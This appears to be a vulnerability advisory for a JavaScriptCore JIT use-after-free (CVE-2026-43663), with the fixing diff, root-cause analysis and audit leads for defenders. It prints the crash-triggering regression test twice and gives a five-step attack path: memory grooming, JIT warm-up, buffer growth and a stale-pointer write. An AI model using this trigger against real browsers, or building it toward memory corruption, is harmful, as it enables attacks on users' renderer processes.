CVE-2026-43663
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected process crash
Researchers: Using GLM From Z.AI, Tristan Madani (@TristanInSec) from Talence Security, stratan (@5tratan) of Almamater Technologies, Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota Toda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE Research Team, Brian Carpenter
Key insight. Constant folding may only bake in state that is immutable for the life of the compiled code; typed arrays over resizable/growable-shared buffers break that assumption because resize()/grow() can relocate the backing store, so the fix is to refuse to fold on such views rather than to track their relocation.
Patch Details
diff --git a/JSTests/stress/resizable-array-constant-folding.js b/JSTests/stress/resizable-array-constant-folding.js
new file mode 100644
index 000000000000..8fb26abf5449
--- /dev/null
+++ b/JSTests/stress/resizable-array-constant-folding.js
@@ -0,0 +1,27 @@
+//@ runDefault("--useConcurrentJIT=false")
+const memories = [];
+
+(function() {
+ while (true) {
+ try {
+ memories.push(new WebAssembly.Memory({initial: 65535, maximum: 65536}));
+ } catch (e) {
+ break;
+ }
+ }
+})();
+
+const memory = new WebAssembly.Memory({initial: 1, maximum: 100});
+const buffer = memory.toResizableBuffer();
+const view = new Float64Array(buffer);
+
+function trigger(val) {
+ view[0] = val;
+}
+
+for (let i = 0; i < 10000; i++) {
+ trigger(13.37);
+}
+
+memory.grow(1);
+trigger(1.1);
diff --git a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
index 6682e2b001e6..37277ffda297 100644
--- a/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
+++ b/Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
@@ -369,7 +369,13 @@ private:
// https://bugs.webkit.org/show_bug.cgi?id=125425
break;
}
-
+
+ if (view->isResizableOrGrowableShared()) {
+ // Because resizable and growable-shared views can have their backing store reallocated
+ // by resize() / WebAssembly.Memory.grow(), a folded vector pointer would go stale.
+ break;
+ }
+
m_interpreter.execute(indexInBlock);
eliminated = true;
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-43663 |
| Bugzilla | 312781 |
| Component | JSC |
| Bug Class | UAF |
| Severity | medium |
| Commit | 13bfbf94f49eab45… |
| Advisory | Apple Advisory |
Terminology
- DFG constant folding — A JavaScriptCore optimizing-JIT phase that replaces operations whose inputs are provably constant with precomputed results, sometimes embedding object-derived pointers (like a typed array’s backing store) directly into machine code.
- Resizable ArrayBuffer / growable SharedArrayBuffer — ArrayBuffer variants whose byte length can change at runtime via resize()/grow(), which may cause the engine to reallocate the underlying backing store to a new memory address.
- Backing store (vector) pointer — The raw pointer to a typed array’s element storage; for non-resizable buffers it is stable, but for resizable/growable-shared buffers it is invalidated when the store is reallocated.
- isResizableOrGrowableShared() — The JSArrayBufferView predicate the patch uses to detect views whose buffer may be reallocated, gating the folding decision.
- WebAssembly.Memory.grow() — A JS API that increases a Wasm memory’s size and, when it cannot extend in place, reallocates the backing store—one of the operations that invalidates a folded pointer.
Root Cause Analysis
The DFG constant-folding phase (DFGConstantFoldingPhase.cpp) walks the IR and tries to strength-reduce/eliminate operations on JSArrayBufferViews whose identity is known at compile time. In the branch shown, once the phase has proven it is dealing with a concrete typed-array view it calls m_interpreter.execute(indexInBlock) and sets eliminated = true, folding the operation and, as part of that, baking view-derived state (notably the backing store / vector pointer of the typed array) into the compiled code as a constant. The invariant this relies on is that a typed array’s backing buffer, once observed, does not move for the lifetime of the folded code. That invariant holds for ordinary ArrayBuffers, but it is FALSE for views over resizable ArrayBuffers and growable SharedArrayBuffers: resize() and WebAssembly.Memory.grow() may reallocate the backing store, leaving any previously-folded vector pointer dangling. The patch adds an early break: if (view->isResizableOrGrowableShared()) { break; } so the phase refuses to fold operations on such views, restoring the invariant by simply not embedding a pointer that can go stale. The added JSTests case demonstrates the path: it grooms the WebAssembly memory pool, creates a WebAssembly.Memory with a resizable buffer, builds a Float64Array over it, warms up trigger() writing view[0] until the DFG compiles it (folding the store against the current backing store), then calls memory.grow(1) to reallocate and finally trigger(1.1) writes through the now-stale folded pointer. The exact node type being folded (a GetByVal/PutByVal or a GetTypedArrayLength/StorePointer style operation) is not literally printed in the diff, so the precise folded value is an inference; what the diff establishes is that folding operations on resizable/growable-shared views was unsound and is now suppressed.
Attack Path
1. Allocate a resizable backing store
From JS, create a WebAssembly.Memory with a small initial and larger maximum and obtain a resizable ArrayBuffer via memory.toResizableBuffer() (or a resizable ArrayBuffer directly), then build a typed array view (Float64Array) over it.
2. Groom memory so growth relocates
Pre-allocate many large WebAssembly.Memory objects (as the test does) so that when the target memory is grown its backing store cannot be extended in place and must be reallocated to a new address.
3. Warm up the accessor to trigger DFG compilation
Call a function that indexes the view (e.g. trigger(val){ view[0]=val; }) in a tight loop (~10000 iterations) so the DFG tiers it up and the constant-folding phase bakes the current backing-store pointer into the compiled code.
4. Reallocate the backing store
Call memory.grow(1) (or buffer.resize()), which reallocates the backing store to a new address and frees/repurposes the old one, invalidating the folded pointer.
5. Re-enter the compiled code
Call the compiled accessor again (trigger(1.1)); the JIT code dereferences the stale folded vector pointer, reading/writing memory that is no longer the live buffer, producing an out-of-bounds or use-after-free access and typically a crash.
Impact Assessment
The patch itself is classified LogicError / medium with the stated effect of an unexpected process crash, and the observed primitive is a stale pointer dereference to a freed or relocated buffer (a UAF/OOB read-or-write) from JIT-compiled code running in the WebContent (renderer) process. Because the operand values written through the stale pointer are attacker-controlled and the timing of reallocation is controllable via grooming, a determined attacker could plausibly escalate an OOB write from a controlled crash toward memory disclosure/corruption, but the diff and test only establish a reliable crash, so anything beyond that is inference. It is confined to the WebContent sandbox; no sandbox escape is implied by this commit.
Audit Directions
Same phase, other foldable typed-array operations
In DFGConstantFoldingPhase.cpp, review every branch that calls m_interpreter.execute()/sets eliminated for typed-array or ArrayBuffer nodes and confirm each is now guarded by isResizableOrGrowableShared(); grep for ‘isResizableOrGrowableShared’, ‘vector()’, ‘butterfly’, and typed-array node cases.
Other JIT phases that embed backing-store pointers
Audit DFGAbstractInterpreter, DFG/FTL strength reduction and lowering (e.g. GetByVal/PutByVal/GetIndexedPropertyStorage handling) for places that capture a view’s vector/length as a constant; look for CheckArray/GetIndexedPropertyStorage without a resizable-buffer guard.
Auto-length and length assumptions
Search across JSC for code that caches typed-array length or storage across side-effecting calls and does not account for resizable buffers; grep for ‘isResizable’, ‘isGrowableShared’, ‘byteLength’, ’lengthTrackingAutoLength’ near cached-pointer or cached-length logic.
Watchpoint/invalidation coverage for resize
Verify that resize()/grow() paths correctly invalidate any structure/watchpoint-based assumptions the JIT relies on; grep for the resize implementations (ArrayBuffer::resize, Wasm memory grow) and cross-reference with JIT watchpoint registration for array-buffer views.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
ConstantFoldingPhase per-node folding loop (foldConstants) |
Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp |
modified | Adds an early break when the involved typed-array view isResizableOrGrowableShared(), before m_interpreter.execute()/eliminated=true, so the phase no longer folds/embeds backing-store state for views whose buffer can be reallocated. Exact enclosing method name not shown in the diff (hunk context is ‘private:’). |
Files Changed
Source Files
Source/JavaScriptCore/dfg/DFGConstantFoldingPhase.cpp
Test Files
JSTests/stress/resizable-array-constant-folding.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/stress/resizable-array-constant-folding.js b/JSTests/stress/resizable-array-constant-folding.js
new file mode 100644
index 000000000000..8fb26abf5449
--- /dev/null
+++ b/JSTests/stress/resizable-array-constant-folding.js
@@ -0,0 +1,27 @@
+//@ runDefault("--useConcurrentJIT=false")
+const memories = [];
+
+(function() {
+ while (true) {
+ try {
+ memories.push(new WebAssembly.Memory({initial: 65535, maximum: 65536}));
+ } catch (e) {
+ break;
+ }
+ }
+})();
+
+const memory = new WebAssembly.Memory({initial: 1, maximum: 100});
+const buffer = memory.toResizableBuffer();
+const view = new Float64Array(buffer);
+
+function trigger(val) {
+ view[0] = val;
+}
+
+for (let i = 0; i < 10000; i++) {
+ trigger(13.37);
+}
+
+memory.grow(1);
+trigger(1.1);